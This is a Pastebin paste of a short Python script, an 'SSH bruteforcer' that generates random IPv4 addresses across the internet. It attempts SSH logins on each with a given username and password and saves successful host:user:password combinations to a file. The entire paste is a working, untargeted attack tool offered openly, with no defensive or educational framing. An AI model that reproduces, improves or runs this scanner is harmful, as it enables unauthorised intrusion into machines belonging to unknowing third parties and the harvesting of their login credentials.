Advertisement
aex-

Random IP Bruteforcing (Linux Only)

Feb 23rd, 2018
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.12 KB | None | 0 0
  1. import os
  2. import sys
  3. from pexpect import pxssh
  4. import threading
  5. import argparse
  6. import random
  7. import time
  8.  
  9.  
  10. parser = argparse.ArgumentParser(description="Random IP SSH Bruteforcer")
  11. parser.add_argument('-h_amt', action="store", dest="hosts", type=int, required=True, help="Set amount of hosts to try. (int)")
  12. parser.add_argument('-u', action="store", dest="username", type=str, required=True, help="Set static username. (str)")
  13. parser.add_argument('-p', action="store", dest="password", type=str, required=True, help="Set static password. (str)")
  14. parser.add_argument('-timoute', action="store", dest="timeout", type=int, required=True, help="Set Timeout delimiter. (int)")
  15. args = parser.parse_args()
  16.  
  17.  
  18. def puts(string):
  19.     sys.stdout.write(string + "\n")
  20.  
  21. def start_brute_seq(hosts):
  22.     username = args.username; password = args.password
  23.     ssh = pxssh.pxssh(timeout=args.timeout)
  24.     for x in hosts:
  25.         try:
  26.             ssh.force_password = True
  27.             if (not ssh.login(x, username=username, password=password)):
  28.                 puts("[-] Host Failed. %s" % (x))
  29.  
  30.             else:
  31.                 puts("[+] Got host! %s" % (x))
  32.                 f = open("good.out", "a").write("%s:%s:%s" % (x, args.username, args.password))
  33.    
  34.         except pxssh.ExceptionPxssh as e:
  35.             puts("[-] Host Failed. %s | %s" % (x, str(e)))
  36.  
  37. def generate_ip():
  38.     hosts_to_gen = args.hosts
  39.     final_hosts = []
  40.     line_s = 0
  41.     line_m = hosts_to_gen
  42.     puts("[+] Generating %d IPs" % int(hosts_to_gen))
  43.     while True:
  44.         oct1 = random.randint(1, 255)
  45.         oct2 = random.randint(1, 255)
  46.         oct3 = random.randint(1, 255)
  47.         oct4 = random.randint(1, 255)
  48.  
  49.         final = str(oct1) + "." + str(oct2) + "." + str(oct3) + "." + str(oct4)
  50.  
  51.         line_s += 1
  52.    
  53.         sys.stdout.write("%s Hosts Generated..\n" % (line_s))
  54.  
  55.         final_hosts.append(final)
  56.  
  57.         if (line_s == hosts_to_gen):
  58.             puts("[+] Done Generating, Sequencing bruteforce!")
  59.             thread = threading.Thread(target=start_brute_seq, args=(final_hosts,)).start()
  60.             break
  61.  
  62. generate_ip()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement